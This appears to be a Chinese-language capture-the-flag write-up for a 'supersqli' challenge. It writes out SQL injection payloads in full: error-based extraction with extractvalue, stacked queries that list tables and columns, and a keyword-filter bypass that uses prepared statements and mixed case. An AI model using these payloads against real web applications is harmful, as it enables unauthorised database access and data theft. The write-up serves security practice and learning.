supersqli
进来有个输入框,看内容应该是var_dump
了sql查询结果
单引号有报错,万能语句能用,注释符#
没被ban
打了个union select,给提示ban了一堆关键字,而且忽略大小写
想了下,想到一个
之前做过一道php的题,利用的是preg_match
的一个特性,它在匹配后会转换unicode,所以把select转换成unicode编码传入就可以了
回显已经转义,但还是会一直报错,猜测是unicode编码里的#
影响了代码的执行
试试报错注入1' or extractvalue(rand(),concat(0x7e,database())) #
能爆出库名supersqli
然后在搜bypass的时候看到了堆叠注入
想了下刚好可以用堆叠
0'; use supersqli; show tables;
,爆出表名
0'; use supersqli; show columns from `1919810931114514`; #
爆出字段名
最后查flag难住了,不知道怎么绕
去看了wp,这里要用sql的预编译
sql预编译的语法
set 设置查询语句
prepare 进行编译并命名
execute 执行
0'; set @sql=concat('se','lect * from `1919810931114514`;');prepare sqli from @sql;execute sqili; #
还有个strstr
过滤
但strstr
不能区分大小写,混写一下就可以了
payload
0';sEt @sql=concat('se','lect * from `1919810931114514`;');pRepare sqli from @sql;execute sqli;
安利这篇write up,比我写的好n倍
收获姿势:
- 堆叠注入+预编译绕过select被ban
- 大小写混合绕过strstr